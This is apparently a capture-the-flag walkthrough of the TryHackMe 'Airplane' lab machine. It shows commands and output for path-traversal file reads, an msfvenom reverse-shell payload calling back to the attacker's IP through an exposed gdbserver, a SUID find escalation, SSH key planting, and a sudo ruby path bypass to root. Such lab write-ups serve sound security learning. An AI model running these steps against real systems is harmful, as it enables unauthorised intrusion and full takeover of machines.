This walkthrough is related to the medium level box from Try Hack Me called Airplane. Let’s get started.

page logo

We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity)

❯ rustscan -a 10.10.74.193 -- -A -oA nmap-scan
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

Open 10.10.74.193:22
Open 10.10.74.193:6048
Open 10.10.74.193:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan" on ip 10.10.74.193
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 13:33 PST
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE=
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8=
|   256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb
6048/tcp open  x11?     syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/3.0.2 Python/3.8.10
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Sun, 09 Jun 2024 05:33:19 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Sun, 09 Jun 2024 05:33:13 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=6/9%Time=66653E9A%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,1F3,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.
SF:2\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2009\x20Jun\x202024\x2005:33:13\
SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\
SF:r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<
SF:title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20
SF:should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20U
SF:RL:\x20<a\x20href=\"http://airplane\.thm:8000/\?page=index\.html\">http
SF:://airplane\.thm:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x
SF:20the\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x2
SF:0FOUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Su
SF:n,\x2009\x20Jun\x202024\x2005:33:19\x20GMT\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r
SF:\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found
SF:</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20n
SF:ot\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20
SF:URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x2
SF:0again\.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C/
SF:/DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://w
SF:ww\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20c
SF:ontent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<t
SF:itle>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x
SF:20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x
SF:05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
SF:\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=6/9%OT=22%CT=%CU=38256%PV=Y%DS=2%DC=T%G=N%TM=66653F51%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 33.107 days (since Tue May  7 11:01:50 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   363.05 ms 10.11.0.1
2   363.23 ms airplane.thm (10.10.74.193)

Of the ports that are open the one of most interest at this point in time is the Web Site that is hosted on Port 8000 and when we navigate to it we are presented with the following landing page.

Landing Page

What stands out is the parameter in the URL so we switch to our terminal to use curl to see if there is an LFI that we can exploit.

❯ curl -s "http://airplane.thm:8000?page=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

We have confirmed that there is an LFI and we commence enumeration looking for SSH Keys, other key configuration files without much success. We then move our focus to the /proc directory and start looking at environment variables.

We will modify our command to look at /proc/self/environ as we need to output this file to our local as we will get a message stating that “Binary output can mess up your terminal” and then use strings to view the output

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/self/environ" --output self

❯ strings self
LANG=en_US.UTF-8
LC_ADDRESS=tr_TR.UTF-8
LC_IDENTIFICATION=tr_TR.UTF-8
LC_MEASUREMENT=tr_TR.UTF-8
LC_MONETARY=tr_TR.UTF-8
LC_NAME=tr_TR.UTF-8
LC_NUMERIC=tr_TR.UTF-8
LC_PAPER=tr_TR.UTF-8
LC_TELEPHONE=tr_TR.UTF-8
LC_TIME=tr_TR.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/home/hudson
LOGNAME=hudson
USER=hudson
SHELL=/bin/bash
INVOCATION_ID=377531cb1b3d4434a8655abe5980066d
JOURNAL_STREAM=9:19499

We them have a look at /proc/self/cmdline and again will output this to a file and use strings to view it.

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/self/cmdline" --output cmdline

❯ strings cmdline
/usr/bin/python3
app.py

We can see reference to a file app.py and we will get the output of this file

❯ curl -s "http://airplane.thm:8000?page=../app.py"
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp

        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

There is nothing in this which is of interest so we will move on to enumerate running processes on the system and before we do, we want to make sure that the connections are valid that we found from Rustscan. We query /proc/net/tcp

❯ curl -s "http://airplane.thm:8000?page=../../../../../../proc/net/tcp"
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                    
   0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15592 1 0000000000000000 100 0 0 10 0    
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21187 1 0000000000000000 100 0 0 10 0    
   2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17882 1 0000000000000000 100 0 0 10 0    
   3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 20384 1 0000000000000000 100 0 0 10 0    
   4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 19754 1 0000000000000000 100 0 0 10 0    
   5: C14A0A0A:1F40 4E4F0B0A:E412 01 00000000:00000000 00:00000000 00000000  1001        0 67128 1 0000000000000000 109 4 30 10 7   

What we are interested in is the local_address column which is the local address and port number of the connection. We will use Python to quickly convert from Hex to Decimal and we can see that port 6048 is open as we got from RustScan, despite not getting any data back from NMAP.

 python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ports_hex = ['0035', '0016', '0277', '1F40', '17A0', '1F40']
>>> ports_decimal = [int(port_hex, 16) for port_hex in ports_hex]
>>> print(ports_decimal)
[53, 22, 631, 8000, 6048, 8000]

To try to get some more information, we will write a quick Python Script that will scan the first 1000 process IDs and what command line arguments were passed in to see if there is anything that can help us.

import requests
import re 

url = "http://airplane.thm:8000/?page=../../../../../../proc/{}/cmdline"

for i in range(1, 1001):
    print(f"-\r{i}", end='')

    response = requests.get(url.format(i))
    content = response.content.decode('utf-8').replace('\x00', ' ')

    if "Page not found" not in content:
        print(f"\r{i} : {content}")

We have run the Python Script and have found a GDBServer that is running

❯ python3 airplane.py
< --- snip --->
512 : /usr/sbin/cups-browsed
532 : /usr/sbin/NetworkManager --no-daemon
533 : /usr/sbin/NetworkManager --no-daemon
536 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
539 : /usr/bin/python3 app.py
543 : /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

A quick search and we have found an article on how to exploit GDBServer at Hacktricks

We will create a binary payload and then set the execution bit.

❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.11.79.78 LPORT=4444 PrependFork=true -f elf -o binary.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: binary.elf


~/Hacking/Machines/THM/Airplane                                                                                v3.11.9 3s  14:26:31
❯ chmod +x binary.elf

We then launch gdb passing in the binary file that we just created, set the remote debugger target, upload the elf file, set the remote executable file and then execute the reverse shell executable

NOTE: Ensure that you have started your listener before entering the command run

❯ gdb binary.elf
GNU gdb (Debian 13.2-1+b1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)

(gdb) target extended-remote 10.10.74.193:6048

Remote debugging using 10.10.74.193:6048
remote put binaryReading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
Reading symbols from target:/usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug...
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
remote put bi0x00007ffff7fd0100 in _start () from target:/lib64/ld-linux-x86-64.so.2

(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".

(gdb) set remote exec-file /tmp/binary.elf
(gdb) run

The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program:
Reading /tmp/binary.elf from remote target...
Reading /tmp/binary.elf from remote target...
Reading symbols from target:/tmp/binary.elf...
(No debugging symbols found in target:/tmp/binary.elf)
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
[Detaching after fork from child process 33158]
[Inferior 1 (process 33157) exited normally]
(gdb) exit

We have a shell on our listener

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.79.78] from (UNKNOWN) [10.10.74.193] 37280
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)

We upgraded our shell and then looked for any SUID/GUID and found find had the SUID permissions which we have been able to use for Privilege Escalation

hudson@airplane:/opt$ ls -la /usr/bin/find
-rwsr-xr-x 1 carlos carlos 320160 Feb 18  2020 /usr/bin/find
hudson@airplane:/opt$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.0$ id
uid=1001(hudson) gid=1001(hudson) euid=1000(carlos) groups=1001(hudson)
bash-5.0$

To give us a decent shell as the user Carlos, we will create a keypair and then copy our SSH Public Key to the authorized_keys file in /home/carlos/.ssh after which we are able to SSH into the machine as the user

❯ ssh -i id_ed25519 carlos@airplane.thm
The authenticity of host 'airplane.thm (10.10.74.193)' can't be established.
ED25519 key fingerprint is SHA256:9q23c/CHFWNnqEDK/eQFZ2BSYcCGfCW3+A9hX0ubHj0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'airplane.thm' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

carlos@airplane:~$

We check our permissions as soon as we have a shell and we are able to run Ruby files

carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

This is trivial to bypass as we can use the .. notation to move from the root directory where we are allowed to execute commands , back to the /tmp directory and we are root

carlos@airplane:~$ echo 'exec "/bin/bash"' > /tmp/shell.rb
carlos@airplane:~$ sudo ruby /root/../tmp/shell.rb
root@airplane:/home/carlos# id
uid=0(root) gid=0(root) groups=0(root)
root@airplane:/home/carlos#

Overall this was an enjoyable machine, and just required a little creativity to exploit the LFI.